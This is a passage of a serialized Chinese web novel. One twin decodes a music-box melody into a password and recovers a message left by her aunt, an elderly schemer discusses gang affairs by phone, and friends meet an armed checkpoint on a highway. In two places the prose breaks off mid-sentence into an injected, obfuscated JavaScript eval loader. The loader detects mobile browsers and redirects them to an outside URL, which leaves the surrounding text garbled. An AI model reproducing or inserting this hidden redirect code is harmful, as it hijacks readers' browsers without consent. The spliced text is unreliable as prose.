二楼楼梯附近的窗户下有一处空旷的区域,那里什么都没有,没有座椅也没有毯子,那是被用来作为“临时搭建处”的地方,新的积木玩具,新的电子仪器,新的画框,一些需要空间拆开并组装的新来客都在这里完成搭建任务。森山寺未雅凑到窗边往下看,开着口的大型回收垃圾箱在那里等候投喂,当然,泡沫除外。 三楼属于姐妹二人,她们上小学之前还一起睡在二楼,随着二人的东西越来越多,三楼终于是在她们小学入学的前一天派上了用场。 两个人的房间构造基本是相同的,内容物也基本相同,森山寺未雅想起了公寓里自己那过于酒店风格的房间,心中莫名感到有些期待。 从现在开始填充的话,她会有一个和未央的不一样的房间吧。 虽然说是两个人自己的房间,但她们彼此都对对方房间里有什么一清二楚。森山寺未雅推门进入自己的房间,绕过床,靠垫,毛绒玩偶和小型冰箱,她走向储物柜和书柜,虽然不像有乐羽生一样有单独的书房,但她们写作业的区域也相当宽敞。 储物柜里大部分是换季的衣物和生活用品,书柜里多是书本和各类杂志,森山寺未雅将那些伊提送给她的书一一取了出来,又前往森山寺未央的房间里将她的那些也取了出来,两只手开始快速翻书。 这些书本都是来自市面上的出版社,森山寺未雅希望找到一些手写的注释或纸条之类的。 但遗憾的是没有这种东西,只有两个人对内容的讨论和涂鸦,森山寺未雅将书本一一放回。她想起伊提阿姨给她们写信都是通过电子邮箱,基本没有手写的东西。 那么在家里能找的地方就都找过了,现在是时候返回公寓进行下一步,森山寺未雅决定后关上自己房间的门下楼,路过二楼时有些犹豫要不要和妈妈打招呼,担心会不会影响到对方工作。 这时,森山寺镜的办公室自动门开了,坐在显示屏前的她转过身来朝森山寺未雅。 “要走了吗?路上小心哦!”这样简单地打完招呼,她又回过头去忙工作了。 “哦!”森山寺未雅愣了愣,但她知道这个时候自己该说什么,“我出门啦!” 随后她带着八音盒和家门钥匙离开了,临走前没有忘记锁门。 从东部回到公寓拿乐谱消耗了不少时间,森山寺未雅再次化影快速赶回有乐羽生的书房,落座,时间掐算的正好。 自上次这份乐谱被森山寺未央要求改进之后,森山寺未雅还没有把它拿出来看过,那时她完全无法理解自己曾经如何写出那些旋律的,满脑子都是如何才能想办法尽快结束麻烦事。 而现在她将八音盒与曲谱一同放在书桌上,儿时的记忆一一浮现在了那些音符里。她逐渐想起来当时的自己是如何理解“怎样的旋律弹奏起来是好听的”这件事,那么将原初的旋律再次复现就也不是个难事了。 八音盒演奏的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790654|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旋律中,加上空拍一共有32个音节,森山寺未雅将它们一一以英文字符的样式写了下来,开始思考这些旋律到底是代表着什么。 十年的时间里,八音盒的损坏并不是小概率事件,伊提当时只说了这是给她们二人的礼物,并没有说它从哪里来或者代表着什么,连旋律如何都没有说。 森山寺未雅知道自己现在的所作所为可能是无用的,最后得出的结果或许只是她一厢情愿的想法,但既然“她自己”都那样说了,那即使是白费一番力气也是值得去尝试的, 这样一串音符放在一起,森山寺未雅尝试分段,以数字代替,调换顺序以猜测含义,都得不出一个说得过去的结果,于是她开始思考那位将这样一个八音盒交给她们的那个人会是怎么想的。 她或许也不知道旋律是否是符合接受礼物的人的爱好的,但是她一定知道,这样一份单独的礼物交给一对双胞胎,那它一定会被以远超寻常数量的使用次数加速推向损坏。 也就是说,她知道这份旋律一定会被她们二人反复听到,而她清楚,这对双胞胎记忆力超群,将旋律一直记住是大概率事件。 也就是说,这份旋律正是给“多年之后需要”的森山寺姐妹准备的。但森山寺未雅无法理解对方为何会考虑到这么久之后的事情,并将这样的期待寄托在许久未见的同学的年幼孩子身上。 但至少这样一来,森山寺未雅将思考从“旋律象征着什么”转向“旋律与我们的关系是什么”,这些旋律,或者说旋律代表的字符,一定是与她们有关的。 若是不这样想的话,那整个推理过程就没有意义了。 森山寺未雅这样想着拿出有乐羽生的手机,从网页上搜索一个现在几乎没有人用的社交网站。这个网站在21世纪初期较为流行,不仅有单人或多人聊天室,还有各种在现在看来过于简陋的小游戏。用户名不限制语言,但密码限制为纯数字。 事实上在她们二人接触到网络时这个网站就基本上在互联网上销声匿迹了,是因为伊提阿姨主动邀请她们尝试,她们才在这个网络上注册账号的。 而且这个网站基本上是邀请加入制度,没有邀请码就只能定期参与该网站的注册码发放活动,数量少不说,活动还是不定期的。 对于这种类型的社交无法抗拒的森山寺姐妹当然是毫不犹豫地选择了加入。 从手机上打开这个网站完全不是个正确的选择,森山寺未雅小心翼翼地放大页面,试图寻找输入账号密码的区域。 放大两倍之后她终于能用手指选中输入框了,她回忆着输入自己的账号密码,十多秒的加载时间后,画面终于跳转到了个人空间。 但其中空空如也,除了一条网站管理员的通知,她放大点击那个渺小的红点,那是一条2015年的消息。 至于其它的消息,聊天室:内容已删除,来自Mio的2013年12月24号的邮件:内容已删除,同日回复的邮件:内容已删除。 “…服务器正式停止维护,2015年1月1日之前的所有信息不再保留。”森山寺未雅读到这里愣住了,返回个人空间查看各个选项,无论是私人聊天还是聊天室都空空如也,没有新消息,旧的也没被留下。 难道来这里找线索是错误的选项吗?森山寺未雅不禁这样想到,但她还是直觉这其中有着可以被挖掘出来的东西。 因为这也是“特地为森山寺姐妹设下的陷阱”。 那难道是伊提阿姨她没想到这个网站的管理员会做出这样的行动吗?这样的话她是否在别的地方留下了记录,只是我没有发现。如果不是这样的话,那森山寺未雅能想出的原因只有一个,那就是已经做不到,或者来不及了。 无论是哪种情况都不是她能用手头的线索推理出来的,她将这些思考放在一边,回到了那份乐谱上。 如果这些是给“未来的森山寺姐妹”准备的,那她一定提供了打开谜题之锁的钥匙,就像是现代推理小说中的密室一样,没有真正的密室存在,只是诡计还没被解答而已。 那么反过来想,即使伊提准备的东西是给“未来的森山寺姐妹”,但她能使用的诡计也一定基于“现在的森山寺姐妹”,她能利用的道具很少,而且她相信,“未来的森山寺姐妹”一定会保留这些道具,从而不让这份诡计失效。 毕竟若是侦探没能解除诡计进入密室,那密室就只是个普通的没有被打开的房间而已。 网站服务器停止运营并删除记录是大概率事件吗?森山寺未雅所知的网站中停止运营的实际上并不少,但删除记录的还是少见的,除非该网站准备持续运营很久并认为之前的记录是一个累赘,保留过去的记录只不过是什么都不做而已,“删除”本身也是一个任务。 但那则通知中,删除历史记录与停止运营是同时进行的,这是绝对的小概率,并且故意为之的做法。 “这是给未雅和未央的礼物。”森山寺未雅想起了这句话。 伊提阿姨是一位忧郁的,不擅长与小孩聊天的,头脑清晰的,因思绪繁重而话少的研究学者,现在看来她有着非常典型的抑郁症表现。她与这个世界上的大多数事物关系不好,她很少说废话,大多数情况下她都是回答的那一个,哪怕是在和森山寺镜喝酒时都只是闷头痛饮。 “这是给未雅和未央的礼物。”她郑重地说,脸上是笑着的。 森山寺未雅意识到,这句话一定有着存在的意义。 这时,门外传来了敲门的声音,森山寺未雅将八音盒收起,侍者带着托盘推门进入。 “打扰了,我带了点心来。”侍者无声带上门后,带着托盘走到了森山寺未雅的左边,将托盘放在了桌上空旷的地方。 侍者将茶杯放在森山寺未雅的手边,托起茶壶倾倒,清洌的绿色茶汤近乎无声地被倒入杯中,森山寺未雅从香气中隐约辨认出大概是龙井,但再细就不清楚了。 结束了茶道表演后,侍者将一个白色的圆盘放在森山寺未雅身前,大约12寸的精致圆盘中央是一个纸杯蛋糕大小的纯白色圆柱体,看上去大概是戚风蛋糕,但是它没有任何焦黄的痕迹。蛋糕旁摆着一些莓果和一小勺奶油奶酪。 森山寺未雅认得这种甜点,它是由纯蛋白制作的蛋糕,比起普通戚风来说口感更轻盈柔软,而且脂肪更低,完美符合她对有乐羽生家饮食的印象。 “今天的点心是天使食物蛋糕,配茶是狮峰山西湖龙井。”侍者介绍说。 “天使食物?这个蛋糕吗?”森山寺未雅问道。 “是的,”侍者说着,却没有更多的解释,“这是厨师长说的名字,请恕我也不清楚其原料做法。” 这位侍者大概并不专精于厨房,而是偏向待客,她只是将这个名字读出来,但不负责解释。 ”不,多谢。“森山寺未雅摇了摇头,若有所思。 侍者带着托盘离开了房间。 天使食物蛋糕,与天使食物-蛋糕,是相似但完全不同的东西,人无法认知天使吃的食物都是些什么东西,也不知道天使会不会吃蛋糕。但天使食物蛋糕是人将自己的想象力投影之后为人的食物定下的名字。 ”这是给未雅和未央的礼物。“森山寺未雅将这句话念了出来。 在她说出了这句话之后,有两个道具可以被一直保存下去,直到森山寺未雅与森山寺未央走向死亡。 第一,”礼物是给姐妹两个人的“这件事实。 第二,”未雅和未央“是礼物的拆开人。 直到她们两个全部死去之前,未雅和未央的名字存在且有意义,会被两人中活着的那个人永远记住,伊提阿姨知道这一点,说出了那句话。 ”这是给Mia和Mio的礼物。“森山寺未雅说。 如果直接将其套进铺面中,就只有A这一个是可以是可以被利用的,这就与谜面不符了。 如果要将O也套用进去的话,那就将其作为空拍。 森山寺未雅将谜面写在了白纸上。 将O作为空拍填入后,铺面的英文音为:E A C G D A B F O A E D G A C O F G A B O A E C D G A O F A D O。 一共32个字符,以数字将其顺序标上后将其中的A与O单独取出,按照顺序放在一起。 2-6-9-10-14-16-19-21-22-27-28-30-32 这是最基础的解法,当然也可以以其它的方法得出内容不同的结果,但过程都是相同的。 森山寺未雅看着这串数字,得到它的过程就像是一次与伊提阿姨隔着十年的推理游戏,现在她得到了钥匙,却不知道密室在哪里。 又或者说这才是密室,钥匙存在于另一处? 森山寺未雅本要再次将这一串数字的加密方式进行思考,但她反应过来,伊提阿姨并不是抱着将密室完全封死的心态给予她们钥匙的,密室一定已经存在在某个已经出现过的地方了。 她再次打开了那个网站,虽然聊天记录荡然无存,但联系人列表却并不是被清除的对象。 列表中只有两个人,MIO和,分别是未央和伊提阿姨的账号。森山寺未雅将伊提阿姨的用户名复制下来,将那一串数字作为密码,点击登入。 十五秒之后,页面刷新了。 成功了的森山寺未雅忍不住笑了,但她很快就意识到哪怕她在这一步成功了,面对的大概也就是空空如也的个人空间吧。 发送自的来自2020年1月1日的消息,一条未读。 森山寺未雅顿了顿,点进了那条信息中。 “该信息由于2012年3月23日编辑并设置定时发送。” 这就是这条信息跨过了历史记录删除,并在服务器停止维护的5年之后,作为鲜红的一点出现在这如坟场般安静的网站中。 这里已经什么都没有了,再也没有人能发言,再也没有过去可以回忆,整个网站中只有这么一条利用了定时机制的消息在沉默的五年之后再次出现,举起手,说:你有一条消息未读。 只有在森山寺姐妹需要且将其与发送者联系在一起时,钥匙才会出现。 “好久不见, 我在1978年被派遣作为0号实验室的研究者,目的是研发体外循环系统及相关器械。我参与时雏形和目标已被定下,图纸的签名是70-37,这是一个身份信息不存在于现有任何记录中的个体,我不确认其是否真的存在。 我的爱丽丝是个远比我有天赋的孩子。她接触了废液以加速实验,后来我回去寻找分离污染物的方法,没来得及。 这件事导致了2000年血湖区域生物因血湖衍生物rp-1暴动而覆灭,我回到那里时一切结果已经被销毁,博蒙亦然。但自那之后血湖不再因生者产生暴动,我推测该现象与其中特殊物质相关,那是阿贝尔家族所追逐的最终存在,是个体。 幕后者令我构筑新血湖容器,另一研究为人工智能阿尔卡纳, 我不知她的目标,也不知你们的未来,抱歉。我会将她藏起之物留给我的学生,她叫克拉拉,请去找她。勿寻勿念。” 一条消息上线是299字,密密麻麻地占满了整片屏幕,森山寺未雅将其截图,心中涌现出了怀念与悲伤。 这毫无疑问就是伊提阿姨亲手写下的文字,但是森山寺未雅忽然发现自己并不了解她。 她是怀着怎样的心情写下这些文字,写下她的孩子是如何天赋异禀又早早陨落,写下她发现她研究的目标是自己多年前的好友的还未出生的孩子,写下她将希望的碎片交给克拉拉。 写下她发现自己无力阻止这一切,却将希望交给了十年之后的森山寺姐妹。 她现在如何了呢?2012年3月23日之后,她去了哪,做了什么,对一切了解了多少,想做的事情又做了多少?她有过怎样的曾经?又是个什么样的人? 她的身影太模糊了,森山寺未雅无法从自己曾经的记忆中找到可以诠释她的片段,也确实无法理解这段话中的每一句的意思。 但她接受了礼物,并成功拆开了它,在十余年之后。 森山寺未雅向后靠去,看着天花板上的浮雕,脑子里浮现出了多年前的回忆。 不久后她想起来桌上还有盘蛋糕,心里对有乐家的点心有些期待,拿起餐具切下一小块,洁白的蛋糕体没有留下丝毫的碎屑,她心里有些疑惑地把点心送入口中。 什么味道都没有,没有甜味没有香气也没有口感,吃了好像没有吃,就好像有乐家的午饭一样。森山寺未雅的味蕾和内心一片空白,这不是纯蛋白戚风蛋糕,它叫天使食物蛋糕真的只是厨师的一时兴起。 这时她才意识到,这盘子里的“点心”部分是那些莓果和不知道有没有超过5克的奶酪。 47.间奏-利奥拉 神脉医院在这一天发生了许多事,但这与医院中的患者,又或者说客户,是没有关系的。 病人的职责是休息,修身养性,直到离开医院,无论是健康的还是不再需要保持健康的。 在这一点上神脉医院提供的服务非常出色,私人定制的护理服务是基础内容,在此之上为它增添竞争力的是尤为完善的身体测试项目以及对应的尖端仪器,最新的药物提供,最全面的科室,最经验丰富的手术医生,以及最高的器官移植存活率。 医院核心手术医生来自世界各地著名医学院,她们在这里接受了来自神脉医院的额外培训之后,对处理人体内器官大大小小的毛病都有了统一的见解。 无副作用降低痛感的医疗室,拥有独立微气候的重症病房,根据基因为个人定制的药剂,24小时等候信号的私人飞机和内置的生命维持舱。这些都在神脉医院提供的服务中,并不明码标价,但也不拒绝询问。 但即使是这样的医院,在面对名为“衰老”的难题面前也只能表示爱莫能助,宗教上来说年龄是神赐的界限,科学上来说这是哪怕是最为舍得下血本的人也无法跨过的人类的极限。 但神脉医院最为常见的就是老人。 “利奥拉女士,到晚餐时间了。”护工走向一位坐在轮椅上的老人,她的脚步声不算悄无声息,但也不会惊动其它正在闭目养神的老人。 她所负责的病人是个好脾气的老太太,虽然说不常住,只是定期来医院进行身体护理,但每次都由她负责接待和陪伴。几次的相处之后,她的职业经验告诉她,这是一位需要珍惜的,难得好相处的客人。 名为利奥拉的女士今年65岁,年龄算是年轻老年期,与那些坚持锻炼的同龄人相比,早早坐上轮椅的这位并不在乎身体上的缺陷带来的难堪。如寻常一样,她的感官稍有退化,不戴眼镜就看不清东西,会听不见过于轻的说话声,味觉和嗅觉没那么灵敏了。 但除了有行动缺陷以外,她并没有什么慢性病,算是身体非常健康的老太太了。 她的行动缺陷经检查源自于先天性的四肢肌肉不足,早年还没那么明显,但这类患者通常越是上了年纪越是难以忽视肌肉的萎缩,到了现在已经是难以靠自己站起来的程度了。 察觉到有人靠近,钛合金与碳纤维混合制成的骨架在扶手处轻微震动,仅一次,老人从假寐中醒来,侧头,悬浮式反压适应模块温控记忆凝胶坐垫椅带着其承载的躯体转动方向面对来者。全地形自动变形轮胎的运行下,晃动不会影响到其使用者的脑部。 这也是护工每次都能非常迅速地找到利奥拉的原因,这轮椅可谓是未来设计感与实用性的代名词,每次看见她都会在心里感叹一句有钱真好。 “不知不觉都到了这个时间了,今天时间过的真快。”利奥拉看了看天色感叹道,天空还是湛蓝的,但太阳已经有了下班的前兆。 对时间失去感知也是老年人的常态,但拥有这么一台轮椅的科技适应型老人应不会忘了确认时间。 不过因为身体原因行动不便的老人多多少少有些脾气,护工认为利奥拉是其中非常好相处的一位了。 “是的,这个季节天色暗的快,再过一会就要起风了,不如您先回去用餐?我为您准备些毯子之后再出来休息吧。”护工说。 利奥拉往常没有在医院留到晚餐时间的习惯,每周一次,不定期,她通常会在早晨到达医院,处理完手续之后下午就离开。但护工每次都为对方可能会过夜做了准备,无关关怀,这也是基础服务之一。 “不,我一会就离开了。”利奥拉说,她花白的银灰色头发与因肌肉流失而松弛的皮肉没有让她彰显出疲态,可能是因为刚才休息过,她此时显得精神饱满。 有的老年人就是比年轻人更活泼的,护工并没有对此见怪。 “好的,那我先告退了,有事请随时通知我。”她低头致意,知道自己今天的工作算是结束了。 “帮我把这封信交给你们的院长。”利奥拉左手微动,轮椅侧方像是弹簧刀一般弹出了一只机械手,上方夹着一封没有密封的信,封口微启,份量与账单相似。 可是护工是没有综合楼通行证的。 “那就帮我转交给门诊处信息台的负责人,让她转交给院长。”利奥拉无视护工脸上的惊讶,继续说。 稍微惊讶了一会过后,护工很快接过了信件,鞠躬过后再次道别。 利奥拉没有道谢,没有道别,护工直起身后离开了。 过了一会,她的扶手再次微微震动,短促的连续震动,有人来电。 “哦,千实!”利奥拉的脸上露出了微笑,语气也欣喜了起来,这让她看上去慈祥了些,“你主动打电话来找我还真是少见,事情都处理完了吗?吃过晚饭了吗?” 弹出的虚拟屏幕上的脸与有乐千奈有七分相似。 “托你们的福,没有。”有乐千实没有表情,“只是时间问题了,一些人小动作很多,但都无用。博蒙的后事处理好之后就不会再出现突发事件了,一切都按照计划顺利进行着。” “看着相处多年的同事就这样即将失去工作,在现代社会中和参与葬礼没有区别了吧?”利奥拉这样说着,脸上的笑容一成不变,“那么,你的来电原因是什么呢?” “如你所言,犬山她过去确实有在认真工作,这方面的进展很顺利。出现特殊情况的是天不渡那老头,之前他突然改称要坚持原本的态度,没有顺应其它人也没有接受我们的提案。”有乐千实说着顿了顿,补充道,“天生目池元按照备案行动了,我没去管。” “想一直留下来吗?多么理想主义,北野春没有帮帮他吗?”利奥拉问。 有乐千实嗤笑了一声,那嘴角的疤痕顺势向上扬起,利奥拉没有反应。 “托我的福,没有,但不知道这家伙和天生目池元聊了什么,现在无法追踪他的生命体征,后天的事还用得上他,要干涉吗?”没有得到反应的有乐千实恢复了面无表情。 “再让犬山动手的话,就显得我们在职场规范这方面有所欠缺了,抓太紧的话想让她们家的二把手再松开很难了吧,一那边态度如何?”利奥拉漫不经心地问。 “…和以前一样,那首领是个上不了台面的家伙,不过不需要我提醒你现在的局势下,与之相关的事很难再让她出手了吧?”有乐千实说。 利奥拉因那短暂的停顿而笑了。 “难得听你说这么多话,声带已经恢复了吗?”她忽然提起了另一个话题。 “托你的福。”有乐千实说。 “那就来与我聊聊吧,文学什么的。那个人要做的事情无非就是苟且偷生,很无聊吧?”利奥拉的语气轻松地抱怨了一下。 “什么?”有乐千实觉得自己没听清对方在说什么。 “圣经,如何?评论家都喜欢把好作品称为类别文学中的圣经,那不如就与我谈谈它本身吧?”利奥拉像是在分享自己读过的书一般轻松随意,“宗教对我们而言不过睡前故事的分类一种,按兴趣选读即可,但人类的解读和争辩多数饱含诗意呢。” 而作为二人置之不顾的前置话题,白夜社的各个家族还处于水深火热之中。有乐千实对利奥拉的思维跳跃程度早已深知肚明,这时若她强行掰回话题就只会得到一串忙音。 这位老人是真的没那么在乎她一手策划而来的利益循环和产业链,不如说若是她真的在乎,那近期的一切就不会发生。 “如何?有喜欢的章节吗?出埃及记?诗篇?使徒行传?”利奥拉声音里带着蠢蠢欲动的探知欲,她充满热情地与有乐千实探讨有趣的文学作品。 “…创世纪,第十一章。”有乐千实想了想说。 “是什么?念给我听吧?”利奥拉催促着,漆黑的瞳孔里闪烁代表感兴趣的光。 直到六十五岁依然坚持自己的爱好的老人并不少见,但感兴趣到两眼冒光就是年轻人的专属特权了。 “起初,世上的人都讲同一种语言,说着一样的话。在迁徙的途中,人们来到示拿地,决定在那里定居。人们为了让自己的名字传扬,不愿分散到各地,于是商议‘来吧,我们建造一座通天塔,直到天上。’”有乐千实背诵着,感情不充沛,声带作用顺畅。 “原来是这样啊,接下来呢?”利奥拉像是第一次听说有这么一个故事一样津津有味。 “神看到后说‘看哪,他们同为一族,说一样的语言,这不过是个开始,未来他们所图谋的,没有能阻止的。’于是,神混乱了他们的语言,让他们彼此无法沟通。人类因语言不通而停止建塔,被迫四散各地。”有乐千实背诵了接下来的段落。 哪怕是在背诵圣经中的故事,她的语气也并不虔诚,更像是在陈述一段故事。 “原来是巴别塔的故事,我听说过哦,但没想到这是圣经里的故事呢,我之后也去读读看原著好了。”利奥拉非常满意自己得到了新的知识。 世界上不止一种信仰,神不止有一个名字,世界上并不是所有人都是基督教徒,所以也不是所有人都知道巴别塔一词来自于圣经记述。圣经中的许多故事流传于世界,被各种文学作品和建筑设计者作为灵感。久而久之,许多故事都变得比圣经还要有名了,“圣经”这个名字就是最好的例子。 分得清“耶稣基督”与“耶和华”的含义也不是那么重要,现代信仰崇尚随心,只有宗教学者指望靠细枝末节交作业。 刚好,利奥拉不是宗教学者,有乐千实不是信教徒,二人才得以如此坦率地交谈。 “这是关于人类傲慢与语言分化的神话故事,显然,它与诺亚方舟一样被当作许多艺术作品的灵感。”有乐千实并不对这位老人表达出的无知发出嘲讽。 “可是很奇怪吧?圣经中主张神创造了人,又怎么会描写神害怕人要做的事情呢?而巴别意为混乱,人们怎么会以这样的名字来命名曾经的壮举呢?神以混乱语言的做法阻止人们也很有意思,你是怎么想的呢?”利奥拉并没有结束这一话题。 现在不是个讨论哲学与神学话题的好时间,老人向年轻者滔滔不绝地询问似乎也有失礼仪,虽然说不耻下问是美德,但又有多少人能做到呢? “多种翻译中都表明神认为人的作为是堕落的体现,‘像神一样知善恶’,‘终日所思尽是恶’,人忘记了敬畏,所以神降下惩罚。同理巴别塔也是神为提醒惩罚的存在命名的,那些人可能给它取过别的名字,但因弱小而无法违逆神的选择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去找仁夜家族的那个人,就这样说,‘我原谅了那个人在2000年做的事’,然后你带人去把北野家那些虫子抓一下吧,算是帮帮她的忙好了,老员工也是得发点福利的。”说完,利奥拉的语气恢复了一开始的漫不经心,“火的话还是完全燃烧下好看些,助燃剂只用氧气是不够的吧。” 电话那头有一段时间的静默。 “我知道了,这段时间市区会比较乱,管理方面的人在加急处理了,周末之前你准备待在医院那里吗?”有乐千实问。 虽然利奥拉不常待在医院,但有乐千实知道她更不喜欢吵闹的地方。 “这里没有戏可以看了,那孩子也不来找我说话,我一会就回去。”利奥拉摆了摆手说。 说到这里,利奥拉的语气有些遗憾,有乐千实意识到对方在那里待到现在的原因并不是因为想远离市区,而是在看戏。 “所以你知道,今天基本上只有我在干活吧?”有乐千实说。 “辛苦了辛苦了,那孩子不也跑了一趟吗?她回去之后就会去帮你的。”利奥拉安抚着说。 “这也是你的理想主义给你的答案吗?”有乐千实嗤笑了一声,“你又不是看不出来,她根本就不想参与这事。” 虽然话是这么说,有乐千实也没有对湛大白天跑去剧院看戏表达更多的不满了。 “但她也确实这样做了不是吗?她总有一天会理解我的,在那一天之前,她会走我走过的路。”利奥拉理所当然地说。 “这句话对二十岁出头的人说比较好吧?那家伙已经过了被激励的年纪了。”有乐千实对此不屑一顾。 湛现在年纪差不多四十,三十岁左右的有乐千实还勉强能称得上一句年轻人。 “任何时候燃起热情都不算晚哦。”利奥拉笑着说。 这句话由她来说似乎是在激励年轻人,但有乐千实知道这是在说65岁的利奥拉本人。 “那你和她谈吧。”有乐千实想了想补充道,“我怕她见到我产生逆反心理。” “这不是很年轻的心理状态吗?”利奥拉笑呵呵地说。 二人的联络断开了,利奥拉看向屏幕,来接她的车已经在候车区了。 “阿尔卡纳,去候车区。”利奥拉开口说。 轮椅扶手轻震,随后带着她开始移动,车门打开探出辅助通道,轮椅进入经过改装的车厢后固定,座椅缓缓调试为一个舒适的角度。 神脉医院很快就会迎来新的管理人,博蒙-阿贝尔会以家族继承人的名义承担下所有连带责任,这也是她的家族所作所为应该得到的报应,但这并不是利奥拉所关心的。 “若是那场手术顺利,那两个人的关系应该会不错吧。”她望着窗外的风景说。 轮椅内置的人工智能接收到声波,迅速对其进行了处理。 “是的,根据行为演示推算,博蒙-阿贝尔与亚贝琉湛结交的概率高于75%。”她的轮椅传来符合的声音。 “你也这么认为吗?”利奥拉笑呵呵地说,但她的笑容下一刻就消失了。 “那幸好那场手术失败了,我果然是被眷顾的那一个。” 48.★ 四人离开神脉医院,随着大门和围墙远去没入一条线,天色也逐渐换了颜色。 “总感觉今天格外地漫长啊,明明只有一天来着。”森山寺未央感慨说。 “可不是嘛!”有乐羽生珍惜地从口袋里取出车钥匙,“宝贝好久不见,我们回家!” 有乐羽生拉开了驾驶座的门钻进去,怀念地摸了摸方向盘,系上了安全带。 “一想到回去后就不能再摸方向盘了真是伤感。”有乐羽生忧郁地说。 “那回去的路上要不要开得慢一点?”森山寺未央坐进副驾驶,熟练地摸出手机开始导航。 “那还是不要了。”有乐羽生说着启动了汽车。 剩余二人按老顺序入座后排,犬山晓系上了安全带,与来时那隐隐不安的心情不同,事件还未完全解决,但她现在感觉身体很轻,脑袋也是。 “要不要先去找个地方休息一下再回去?”她提议说。 “还是早点回去吧,未雅她还在等着呢,不过我们可以去找个地方买东西吃。”森山寺未央一边翻地图一边说说,“我来找找看。” “对哦,去喝一杯吧!不知道这里有没有那种可以买伴手礼的点心店。”有乐羽生还没忘记准备给森山寺未雅的礼物。 四人的归途路上非常和平,车速从上了高速后就再也没有降下来过,路过来时遇袭的路段时,森山寺未央发现那其中一条车道被放置了反光警告牌,再往前一部分被围起来了。 “那边的路已经在修了啊,好有效率。”森山寺未央感叹道。 “车道上已经没有残骸存在了,无论是哪种。”艾克里普观察着说,“车道路面损毁似乎并不是很严重,不会影响到车辆行动。针对高速公路的维修都这么快吗?西部市区靠老城区的那些狭窄路段的损坏程度比这里严重多了,有被围起来过,但却一直没有开始维修的迹象呢。” 不仅没有修,还偶尔有人特意踩踏。 “这件事就比较复杂了,不出意外的话五年内老城区应该都不会有维修计划吧。”有乐羽生感叹道,“五年前好像也是这么说的?有电影在那里取材过来着,摄影组还被当地居民打了。这件事当时还在晨间会议上作为话题被提问了,我记得话题是,保护当地生态发展?不过后来节目组上诉后老城区的巡警也没真的把人抓出来,后来是抓了个通缉犯交差的。” 当大量物理间距不远的人一同承受同一份苦难时,若有机会,谁都没可能一不小心逃出去的,反之亦然。 “…当地人民风淳朴是好事。”艾克里普放弃评价这一过程。 直到靠近西部市区的高速出口,车流密了起来。有乐羽生注意到前方的车辆逐一减速,车尾红灯再次此起彼伏了起来,车速暂缓,直到彻底停下。 “这个时候是下班高峰期呢,除了地面,原来高速公路上也会这么堵啊。”有乐羽生感慨道,她开了车窗,有风吹进,带着不耐烦的人摁喇叭的声音。 森山寺未央将头探出窗户,好在她的右侧就是高速护栏,这一行为尚且不算高危。远处高速出口的红绿灯旁,有几个身着便服的人招手拦车,神色看不清,但人均腰边一把枪反光清晰可见。每辆车停下她们就伸头进去看,问几句,也看后备箱。争吵倒是不存在,只有排队人员单方面的议论和不满,但那些都会在轮到自己时结束。 “出口那边好像有人在排查什么,”森山寺未央意外地说,“看穿着那些人不是警察诶,带着枪,好像是□□成员,这些人居然从白天闹到现在吗?” “□□怎么会有交通管制权?”有乐羽生吃了一惊,就她所知虽然帮派组织在各个产业都有自己的势力,但公共交通这种完全由地区政府建造的她们在明面上是没有干涉权的。 “我再看看哦,我看看。”森山寺未央说着继续看前方的情况,犬山晓也降下了窗户观察远方。 “市区西边的高速入口被封锁了,这好像不仅是□□做的,也有交通管制部门在行动。”犬山晓说出自己听到的消息,“不过那边出口堵着不放人的就只是□□成员而已,没有警察在,也没有警灯,不知道这些人是哪里来的。” “说是,城市秩序维护专家?”犬山晓不确定地重复了这个称呼。 “是□□呢。”有乐羽生确认了,“之前放进市区的夜巡者,虽然一开始确实反响不错,但现在问题就出现了。” “幸好我们上午出发的早,入口堵着是因为不想让谁通行吧,出口堵着是为什么呢?”艾克里普疑惑道。 “不想让人上高速这件事也挺奇怪的,近年对暴力集团的管制变得严格了起来,□□都开始注册公司了,怎么还会做出过于惹眼的行为。”有乐羽生有些担心,“那些人还有说什么吗?” 这时,一辆车被放行,车辆长龙缓缓向前移动。 “与目标人物无关什么的,”犬山晓说,“好像手里还拿着张纸。” “在找什么人吗?居然这样兴师动众,堵出口的话后面的车得堵到什么时候去。”森山寺未央嘀咕着打开手机论坛,搜索相关信息。 “哦哦,好像是不久前才开始封堵出口的。”森山寺未央看向讨论区,“有人说是这几天各地区的帮派都有所动作,波及范围大,西部市区一些公司都选择让员工待在家里。还有人猜测这件事与天生目池元作为白夜社代表的新发言有关。” “白夜社?什么事情呀?”有乐羽生好奇地问。 “说是将社内的一个家族除名了,一如既往地意义不明。”森山寺未央不解地说,“就只看这一条的话根本就是什么都看不出来啊,论坛上的人倒是猜什么的都有,不过我觉得现在这样是因为被除名的在示威什么的吗?” “那确实挺严重的,不过也不至于堵高速出口啊。”有乐羽生叹了口气。 “确实。”森山寺未央想了想,拨打了西部市区公安局的号码。 “喂你好?我要报案!我看见市区西北部高速出口这里有□□在勒索群众,把高速出口都堵住了!对的我就在现场,好我马上离开,好的麻烦了。”森山寺未央挂断了电话。 “报警会有用吗?入口那边就是公安在看护吧。”有乐羽生好奇地问。 “入口和出口性质不同,而且那些人不久前刚刚开始行动。按你说的那样的话,如果公安那边知道的话应该也会一同出现在这里,不会让帮派成员单独行动的。”森山寺未央点了点头,“总之先试试看吧,总比这样干等着强。” 有乐羽生点了点头。 不一会,车队开始移动,并且没有再次停下。 “哇!未央你拯救了排队的大家!”有乐羽生笑着说,踩下了油门。 “哎呀,我不报警警察也迟早会知道的啦。”森山寺未央自豪又不好意思。 